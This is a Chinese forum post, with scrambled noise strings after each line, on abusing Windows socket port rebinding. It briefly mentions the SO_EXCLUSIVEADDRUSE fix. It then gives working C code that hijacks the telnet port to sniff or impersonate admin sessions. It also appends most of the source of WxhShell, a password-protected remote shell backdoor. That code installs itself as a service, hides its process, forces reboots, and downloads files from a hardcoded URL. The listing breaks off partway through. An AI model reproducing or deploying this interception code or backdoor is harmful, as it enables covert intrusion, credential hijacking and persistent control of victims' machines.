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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: @F%_{6h  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); nPo YjQi  
E< Ini'od[  
  saddr.sin_family = AF_INET; &Eqa y'  
9q|36CAO_  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); @E@5/N6M  
j,i> 1|J  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); v^QUYsar  
b^I(>l-  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 8ECBi(  
8WvQ[cd  
  这意味着什么?意味着可以进行如下的攻击: %44Z7  
WjsE#9D!of  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 g_F-PT>($  
+axpIjI'  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ;fnE"}  
"=ogO/_Q"  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 li~#6$  
{ WW!P,w  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  3D/<R|p  
tyyfMA?'L;  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ww(.   
<>  |/U`  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。  ]6 ]Nr  
&H<n76G  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 !>Ru= $9  
KOM]7%ys1H  
  #include skR I \  
  #include #:6gFfk0<  
  #include C=|X]"*:u0  
  #include    YoEL|r|  
  DWORD WINAPI ClientThread(LPVOID lpParam);   L-\o zp  
  int main() 1ZK~i  
  { sLh %k  
  WORD wVersionRequested; C].w)B  
  DWORD ret; n:d7 Tv1Z8  
  WSADATA wsaData; z3X:.%  
  BOOL val; a'm\6AW2)  
  SOCKADDR_IN saddr; v<wR`7xG  
  SOCKADDR_IN scaddr; EM&;SQ;C9  
  int err; V)g{ Ew]:  
  SOCKET s; 9?~K"+-SI  
  SOCKET sc; s$ v<p(yl  
  int caddsize; "P_PqM  
  HANDLE mt; )]~;A c^x  
  DWORD tid;   ~G ZpAPg*  
  wVersionRequested = MAKEWORD( 2, 2 ); 2%F!aeX  
  err = WSAStartup( wVersionRequested, &wsaData ); N)H _4L  
  if ( err != 0 ) { ek3,ss3  
  printf("error!WSAStartup failed!\n"); iAAlld1  
  return -1; s.oh6wz  
  } '5BM*4,:O  
  saddr.sin_family = AF_INET; +GqV9x 8  
   $NG|z0  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 oykqCN  
37M?m$BL  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ,*Z:a 4  
  saddr.sin_port = htons(23); g9F4nExo  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) v%%;Cp73  
  { XdR^,;pWE  
  printf("error!socket failed!\n"); F;,LY:s|Z  
  return -1; V;}6C&aP.  
  } OG&X7>'3I{  
  val = TRUE; .oR_r1\y  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 +@c-:\K%  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) DoYzTSWx  
  { yA#-}Y|]b  
  printf("error!setsockopt failed!\n"); > l@ o\  
  return -1; wK[Xm'QTPJ  
  } U;Ne"Jh  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Q:4euhz*  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Q|`sYm'.  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 }1/`<m  
{_{&t>s2  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) KASw3!.W  
  { )(&WhZc Z  
  ret=GetLastError(); yj+HU5L4  
  printf("error!bind failed!\n"); 9WH  
  return -1; )K+ Tvx3(m  
  } !ufSO9eDx"  
  listen(s,2); |G QFNrNx  
  while(1) *`HE$k!  
  { "7T9d)  
  caddsize = sizeof(scaddr); TT0~41&l  
  //接受连接请求 1-=zSWmyK  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 1*>lYd8 _  
  if(sc!=INVALID_SOCKET) DE^@b+6  
  { 0f<$S$~h  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ee=d*)  
  if(mt==NULL) <&$:$_ah  
  { mq(*4KFWJ2  
  printf("Thread Creat Failed!\n"); ]ZjydQjo )  
  break; -'9sn/  
  } l"-F<^ U  
  } %?7j Q  
  CloseHandle(mt); [H!8m7i;  
  } zU7/P|Dw+  
  closesocket(s); iq!u}# x_  
  WSACleanup(); 07?|"c.  
  return 0; n#|pR2  
  }   3;h%mk KQ+  
  DWORD WINAPI ClientThread(LPVOID lpParam) mP?~#RZ  
  { o|v_+<zD!  
  SOCKET ss = (SOCKET)lpParam; 8@f=GJf  
  SOCKET sc; e{dYLQd  
  unsigned char buf[4096]; )|`# BC  
  SOCKADDR_IN saddr; ny. YkN2  
  long num; 4X5Tyv(Dp  
  DWORD val; EZ.|6oug\  
  DWORD ret; y_=},a  
  //如果是隐藏端口应用的话,可以在此处加一些判断 6tBh`nYB=  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   MJ )aY2  
  saddr.sin_family = AF_INET; u{-J?t&`  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Ak\w)!?s  
  saddr.sin_port = htons(23); ]qLro<  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ua^gG3n0  
  { {'QA0K  
  printf("error!socket failed!\n"); #z*-  
  return -1; m'Thm{Y,?n  
  } Y`x54_32  
  val = 100; f[b x|6  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) e"sz jY~V  
  { cS'|c06  
  ret = GetLastError(); Yzr|Z7r q}  
  return -1; KH<f=?b  
  } )$Erfu  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) tw`{\kWG  
  { lAM"l)Ij  
  ret = GetLastError(); Of*z9 YI  
  return -1; ^@&RJa-kb  
  } BpGK`0H  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) UqP %S$9  
  { % e@Jc 3  
  printf("error!socket connect failed!\n"); d4h, +OU  
  closesocket(sc); t&r-;sH^[  
  closesocket(ss); zuR F6?un  
  return -1; L)sCc0fv7k  
  } B@Ae2_;  
  while(1) 3+%c*}KC~  
  { "2}E ARa  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 #^>5,M2  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Vko1{$}t  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 W* XG9  
  num = recv(ss,buf,4096,0); d +]Gw  
  if(num>0) 8mCL3F  
  send(sc,buf,num,0); ~ [por  
  else if(num==0) er0hf2N]  
  break; O%(E 6 n  
  num = recv(sc,buf,4096,0); Gj.u /l  
  if(num>0) M=57 d7  
  send(ss,buf,num,0); "0lC:Wu]  
  else if(num==0) 1w)#BYc=L  
  break; N* C"+2  
  } \s.c.c*eh;  
  closesocket(ss); Y+k)d^6r  
  closesocket(sc); &wlSOC')j  
  return 0 ; P(1 bd"Q  
  } ,~!rn}MI<  
Sc<%$ Gd  
llf|d'5Nl  
========================================================== w2!5Cb2  
03iD(,@  
下边附上一个代码,,WXhSHELL * 7ki$f!  
&J\V !uVo  
========================================================== | 'SqG}h  
-N')LY  
#include "stdafx.h" l>i<J1  
QsaaA MGY  
#include <stdio.h> i#@3\&{J>  
#include <string.h> v.08,P{b  
#include <windows.h> Y6|8;2E  
#include <winsock2.h> p~T)Af<(  
#include <winsvc.h> D3^Yc:[_@  
#include <urlmon.h> 50:$km\  
-!dL <  
#pragma comment (lib, "Ws2_32.lib") a!1\,.  
#pragma comment (lib, "urlmon.lib") 7PDz ]i  
OZ*V7o  
#define MAX_USER   100 // 最大客户端连接数 BPoY32d"_  
#define BUF_SOCK   200 // sock buffer F+Qp mVU  
#define KEY_BUFF   255 // 输入 buffer H+]>*^'8  
+%$'( t s  
#define REBOOT     0   // 重启 vGK'U*gGD  
#define SHUTDOWN   1   // 关机 >-s\$8En'  
*Ge2P3  
#define DEF_PORT   5000 // 监听端口 D (MolsKc?  
26Y Y1T\B)  
#define REG_LEN     16   // 注册表键长度 `&.]>H)N*  
#define SVC_LEN     80   // NT服务名长度 AeqxH1%  
-?A,N,nnX  
// 从dll定义API 2d,q?VH$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); je^!W?U4<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); k{/2vV[`]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {xm^DT  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); hhTM-D1Ehs  
Mh04O@"  
// wxhshell配置信息 &></l| hY  
struct WSCFG { !$&3h-l[  
  int ws_port;         // 监听端口 Nw`}iR0i  
  char ws_passstr[REG_LEN]; // 口令 cxhS*"Ph  
  int ws_autoins;       // 安装标记, 1=yes 0=no oC]|ARgQk|  
  char ws_regname[REG_LEN]; // 注册表键名 GW_@hYIqD  
  char ws_svcname[REG_LEN]; // 服务名 FK MuRy|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 PYldqY   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 T@[(FVA N  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 OY'490  
int ws_downexe;       // 下载执行标记, 1=yes 0=no sLE@Cm]k  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *&b~cyC  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 p}qNw`  
C.r9)#G  
}; T@PtO "r  
WXqrx*?*+  
// default Wxhshell configuration uTN mt]  
struct WSCFG wscfg={DEF_PORT, -5Qsc/ s&  
    "xuhuanlingzhe", (UDR=7w)  
    1, mK3U*)A   
    "Wxhshell", *(PQaXx4  
    "Wxhshell", CU3[{a  
            "WxhShell Service", wl1JKiodg  
    "Wrsky Windows CmdShell Service", bgW=.s  
    "Please Input Your Password: ", K)|#FRPM u  
  1, 6{rH|Z  
  "http://www.wrsky.com/wxhshell.exe", fqaysy  
  "Wxhshell.exe" 5>J{JW|  
    }; s6k,'`.  
8~QEJW$  
// 消息定义模块 #P,mZ}G\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; BJgg-z{Y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; IS; F9{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [KIK}:  
char *msg_ws_ext="\n\rExit."; _y Q*  
char *msg_ws_end="\n\rQuit."; Pdc- 3  
char *msg_ws_boot="\n\rReboot..."; X G fLi  
char *msg_ws_poff="\n\rShutdown..."; nwlo,[  
char *msg_ws_down="\n\rSave to "; @D!KFJ  
0ad -4  
char *msg_ws_err="\n\rErr!"; ;<Dou7=  
char *msg_ws_ok="\n\rOK!"; $gsn@P>"  
,nqG* o  
char ExeFile[MAX_PATH]; zbt>5S_  
int nUser = 0; n>F1G MX  
HANDLE handles[MAX_USER]; xU/Eu;m  
int OsIsNt; w(kN0HD  
[TiOh'  
SERVICE_STATUS       serviceStatus; 9W ng(ef6G  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `nA_WS  
U88-K1G  
// 函数声明 U[\aj;g)  
int Install(void); YKwej@9,  
int Uninstall(void); J]8nbl  
int DownloadFile(char *sURL, SOCKET wsh); S$q:hXZ#e  
int Boot(int flag); g>h5NrD N  
void HideProc(void); jHPJk8@y  
int GetOsVer(void); e[fzy0  
int Wxhshell(SOCKET wsl); sidSY8j  
void TalkWithClient(void *cs); j_PICv*6  
int CmdShell(SOCKET sock); K'[H`x^  
int StartFromService(void); JV|GE n\@N  
int StartWxhshell(LPSTR lpCmdLine); FHVZ/ e  
@,i_ KN6C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); o/E A%q1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "|{O%X  
pqPhtWi%PJ  
// 数据结构和表定义 =T$-idx1l  
SERVICE_TABLE_ENTRY DispatchTable[] = k36%n *4  
{ MR$Bl"d  
{wscfg.ws_svcname, NTServiceMain}, 45l/)=@@B  
{NULL, NULL} cDMA#gp  
}; 3R%'<MV|  
[m7jZOEu  
// 自我安装 mjbr}9  
int Install(void) 2F(zHa  
{ g+gHIb7{  
  char svExeFile[MAX_PATH]; (q+U5Ls6  
  HKEY key; $a(EF 6  
  strcpy(svExeFile,ExeFile); +OkR7bl  
O@ jW&-;  
// 如果是win9x系统,修改注册表设为自启动 -[?q?w!?  
if(!OsIsNt) { T69'ta32V  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HVzG }r(J  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :&Xy#.un  
  RegCloseKey(key); SS@F:5),  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4CO:*qG)o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (9x8,f0z  
  RegCloseKey(key); )P\Vd #  
  return 0; ,mH2S/<}S  
    } ]Lq9Ompf(t  
  } kKnz F  
} YK#bzu ,!  
else { }?xu/C  
(v*$ExF  
// 如果是NT以上系统,安装为系统服务 9,y*kC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /X)fWO S6  
if (schSCManager!=0) Hk%m`|Z  
{ O.S(H1z<G  
  SC_HANDLE schService = CreateService ) 'x4#5]  
  ( AZcW f8  
  schSCManager, qy6zHw  
  wscfg.ws_svcname, s  bV6}  
  wscfg.ws_svcdisp, yjZxD[ Z  
  SERVICE_ALL_ACCESS, HgY"nrogt$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , dE2(PQb*P  
  SERVICE_AUTO_START, X"<t3l(+  
  SERVICE_ERROR_NORMAL, `-S6g^Y  
  svExeFile, 0%.l|~CE&  
  NULL, )}\T~#Q]y  
  NULL, +.MHI   
  NULL, Gc}d#oo*k  
  NULL, aloP@U/\Sn  
  NULL :M(%sv</  
  ); O [GG<Um  
  if (schService!=0) <\@JbL*  
  { h0`@yo  
  CloseServiceHandle(schService); uZ*;%y nQ  
  CloseServiceHandle(schSCManager); Ro`Hm8o/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); nb0V~W  
  strcat(svExeFile,wscfg.ws_svcname); ,6?L.L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +avu&2B  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); rwr>43S5<3  
  RegCloseKey(key); :~BY[")  
  return 0; k0.|%0?K  
    } G&MI@Hq  
  } E`.dU<8HE  
  CloseServiceHandle(schSCManager); XEM i~L+  
} U}(*}Ut  
} h_L-M}{OG  
|RX u O  
return 1; K:/%7A_{  
} eZs34${fN  
i[A$K~f  
// 自我卸载 ^yiRrcOo  
int Uninstall(void) [_ESR/&N  
{ u$d T^c  
  HKEY key; mjG-A8y  
* 3mF.^  
if(!OsIsNt) { k_.%(ZE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { " cx\P,<  
  RegDeleteValue(key,wscfg.ws_regname); QcG4~DEX4  
  RegCloseKey(key); PO5/j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <m"Zk k  
  RegDeleteValue(key,wscfg.ws_regname); lw0l86^Y  
  RegCloseKey(key); IBr?6_\%"4  
  return 0; U#R=y:O?  
  } ]Ow A>fb  
} wN8-M e  
} Hj"`z6@7  
else { ^B~z .F i  
g|8G!7O  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ZFh2v]|!  
if (schSCManager!=0) WPiQ+(pt  
{ 0t ?:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); lpLjfHr  
  if (schService!=0) Mp9wYM*  
  { _!kL7qJ"  
  if(DeleteService(schService)!=0) { %{g<{\@4(;  
  CloseServiceHandle(schService); n#,|C`2r  
  CloseServiceHandle(schSCManager); 1foy.3g-  
  return 0; zl\mBSBx"  
  } (gZKR2hO  
  CloseServiceHandle(schService); }6MHIr=o  
  } >8+:{NW  
  CloseServiceHandle(schSCManager); }2;~':Mklz  
} J@w Q3#5a  
} B uV@w-|  
@13vn x  
return 1; ;QQLYT  
} .~qu,q7k~  
TyVn5XHl^  
// 从指定url下载文件 IGEs1  
int DownloadFile(char *sURL, SOCKET wsh) U~QIO O  
{ > !k  
  HRESULT hr; XqMJe'%r  
char seps[]= "/"; &=y)C/u  
char *token; deO/`  
char *file; l -us j%\  
char myURL[MAX_PATH]; OD 09XO  
char myFILE[MAX_PATH]; #-kG\}  
>AI65g  
strcpy(myURL,sURL); 8?AFvua}r  
  token=strtok(myURL,seps); |u{NM1,  
  while(token!=NULL) +m kub}<a  
  { +]P? ?`,R;  
    file=token; 1>bG]l1//  
  token=strtok(NULL,seps); F1%-IBe  
  } 86$9)UI  
Lgl%fO/<t  
GetCurrentDirectory(MAX_PATH,myFILE); H@o 3u>}  
strcat(myFILE, "\\"); Ge=+ 0W)&  
strcat(myFILE, file); (<!Yw|~  
  send(wsh,myFILE,strlen(myFILE),0); j4>1a   
send(wsh,"...",3,0); qV2aa9p+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); B*#lkMr  
  if(hr==S_OK) t=\y|Idc  
return 0; daS l.:1  
else 6jT+kq)  
return 1; zX{K\yp  
*T0{ yI  
} 57*`y'C W  
ib8@U}Vn1  
// 系统电源模块 7xidBVx  
int Boot(int flag) q_K8vGm4e  
{ A7,TM&  
  HANDLE hToken; *^+8_%;1  
  TOKEN_PRIVILEGES tkp; qELy'\  
$|-joY  
  if(OsIsNt) { }cuU5WQ?%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `) s]T.-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); fH[Yc>(oj  
    tkp.PrivilegeCount = 1; LRl2@&z<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ikd~k>F  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Oo<L~7B  
if(flag==REBOOT) { 7kJ =C  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) luAmq+  
  return 0; HC4qP9Gs  
} To v!X8p  
else { S{_i1'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) V4kt&61  
  return 0; #)hc^gIO&<  
} G*.}EoA  
  } Kv3cKNvu~  
  else { @X\-c2=  
if(flag==REBOOT) { M-Gl".*f  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) KneCMFy  
  return 0; uM|*y-4  
} C{7 j<O  
else { _qwKFC  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) X}Heaqn  
  return 0; hJ[Z~PC\T0  
} !Wn^B|  
} @}sxA9 a  
eiE36+'>b  
return 1; zi M~V'  
} t@dv$W2 "  
p2Yc:9r9+A  
// win9x进程隐藏模块 _?Q0yVH;,  
void HideProc(void) 8{QN$Qkn  
{ |/rms`YQ  
}U-h^x'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Z_^i2eJYT  
  if ( hKernel != NULL ) K]5@bm  
  { rt-^?2c?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -js:R+C528  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Ei@w*.3P<  
    FreeLibrary(hKernel); n1D,0+N=  
  } ?Ybgzb  
x,)|;HXm  
return; T \d-r#{  
} a B(_ZX'L  
4#jW}4C{  
// 获取操作系统版本 aPD4S&"Q  
int GetOsVer(void) O2z{>\  
{ z^;0{q,  
  OSVERSIONINFO winfo; }.bhsy  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); y>4r<Y ZQ  
  GetVersionEx(&winfo); 1?k{jt~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) PL*Mz(&bf  
  return 1; tCZ3n  
  else E8$k}I  
  return 0; j0^%1  
} &z'N Q !uV  
LHit9O[_/s  
// 客户端句柄模块 "9Q @&C  
int Wxhshell(SOCKET wsl) OUoN  
{ y;oPg4  
  SOCKET wsh; :zN{>,sC  
  struct sockaddr_in client; XEK%\o}  
  DWORD myID; T["(wPrt  
8n_!WDD  
  while(nUser<MAX_USER) 954!ED|F(  
{ v[-.]b*5A$  
  int nSize=sizeof(client); fjD/<`}v  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); YVSAYv_ZG}  
  if(wsh==INVALID_SOCKET) return 1; ~< ~PaP$=\  
njhDrwN  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |a||oyrN  
if(handles[nUser]==0) {, +,:w7  
  closesocket(wsh); J/OG\}  
else &d5n_:^  
  nUser++; K=S-p3\g  
  } J3 Y-d7=|  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); k :KN32%  
 3W& f^*  
  return 0; /=o~7y  
} Pn&!C*,  
G)<NzZo  
// 关闭 socket H > Y0R  
void CloseIt(SOCKET wsh) FBDRbJ su  
{ F?h{IH f  
closesocket(wsh); hDPZj#(c  
nUser--; >"Tivc5  
ExitThread(0); -L zx3"  
} S}mZU!  
h!@t8R  
// 客户端请求句柄 GPyr;FV!s  
void TalkWithClient(void *cs) K'/,VALp  
{ S_ELZO#7  
c)L1@qdZ  
  SOCKET wsh=(SOCKET)cs; NOzAk%s3I  
  char pwd[SVC_LEN]; ,tZJSfHB  
  char cmd[KEY_BUFF]; WD`z\{hcom  
char chr[1]; 45?aV@  
int i,j; 'r/+z a:2  
P|0dZHpT  
  while (nUser < MAX_USER) { WR5@S&fU`  
fv;3cxQp  
if(wscfg.ws_passstr) { |<:Owd=  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U"SH fI:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,}8|[)"  
  //ZeroMemory(pwd,KEY_BUFF); F},#%_4  
      i=0; Hj\iI p  
  while(i<SVC_LEN) { . N:& {$o:  
 ~OdE!!  
  // 设置超时 CP5vo-/)-  
  fd_set FdRead; x-hr64WFK  
  struct timeval TimeOut;  /y2)<{{I  
  FD_ZERO(&FdRead); p'@| O q&  
  FD_SET(wsh,&FdRead); Y.7iKMp(  
  TimeOut.tv_sec=8; CO%o.j=1  
  TimeOut.tv_usec=0; utH/E7^8  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F=T};b  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); seNJ6p=`  
@^O+ulLJ,]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }KEL{VUX  
  pwd=chr[0]; 2cnyq$4k  
  if(chr[0]==0xd || chr[0]==0xa) { j'\!p):H  
  pwd=0; [wLK*9@&  
  break; S)n+E\c  
  } 9Q*T'+V  
  i++; a;GuFnfn,  
    } VM.4w.})_E  
q3_ceXYU  
  // 如果是非法用户,关闭 socket uT\|jv,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {jK:hQX  
} c3L)!]kB  
@2X{e7+D  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); CC,f*I  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,\%qERk  
2kXa  
while(1) { >14 x.c  
Exu5|0AAE  
  ZeroMemory(cmd,KEY_BUFF); WVa-0;  
O7})1|>1  
      // 自动支持客户端 telnet标准   i(hL6DLD  
  j=0; p-qt?A  
  while(j<KEY_BUFF) { D#8uj=/%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^yl)c \`  
  cmd[j]=chr[0]; z\kiYQ6kA  
  if(chr[0]==0xa || chr[0]==0xd) { eH0^d5bH  
  cmd[j]=0; p?6`mH  
  break; EFk9G2@_  
  } ,NA _pvH)  
  j++; Z)Zc9SVC  
    }  K}OY!|  
j=],n8_i  
  // 下载文件 Ra!Br6  
  if(strstr(cmd,"http://")) { D_)i%k\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); g)L?C'BG  
  if(DownloadFile(cmd,wsh)) ZcQ@%XY3~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *)8!~Hs   
  else L-,C5^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }Dc7'GZ  
  } w>TlM*3D/  
  else { ]b+Nsr~  
Szb#:C  
    switch(cmd[0]) { 2jT2~D.U1  
  grs~<n|o\  
  // 帮助 ~LG<Uu  
  case '?': { H,Y+n)5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); G+S MH`h  
    break; 5Z<y||=  
  } 0W6j F5T  
  // 安装 5ltrr(MeD  
  case 'i': { 8TE2q Pm  
    if(Install()) 0Mo?9??  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }2!=1|}  
    else JtbwY@R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <rbzsn"a  
    break; zF7*T?3b"  
    } k^i\<@v  
  // 卸载 YqEB%Y~N+  
  case 'r': { R2Y.s^  
    if(Uninstall()) C25EIIdRb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vMHJgpd&j  
    else sI OT6L^7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X$0&tmum  
    break; D=^|6}  
    } i^Ip+J+[  
  // 显示 wxhshell 所在路径 kp=wz0#  
  case 'p': { )J>-;EYb8  
    char svExeFile[MAX_PATH]; 9e _8Z@|  
    strcpy(svExeFile,"\n\r"); 2zlBrjk;  
      strcat(svExeFile,ExeFile); N ,0&xg3  
        send(wsh,svExeFile,strlen(svExeFile),0); ,| Zkpn8  
    break; |ZmWhkOX  
    } !zR1CM  
  // 重启 R[bI4|t  
  case 'b': { #*zl;h1(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >S[NI<=8S  
    if(Boot(REBOOT)) 7,IH7l|G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;3P~eeQR  
    else { J9V,U;"\  
    closesocket(wsh); D>`lN  
    ExitThread(0); \pwg8p[4Q  
    }  IPDQ  
    break; _q1b3)`D  
    } ;X}!;S%K  
  // 关机 ?}Y;/Lwx  
  case 'd': { 6p)dO c3L  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); C8bB OC(  
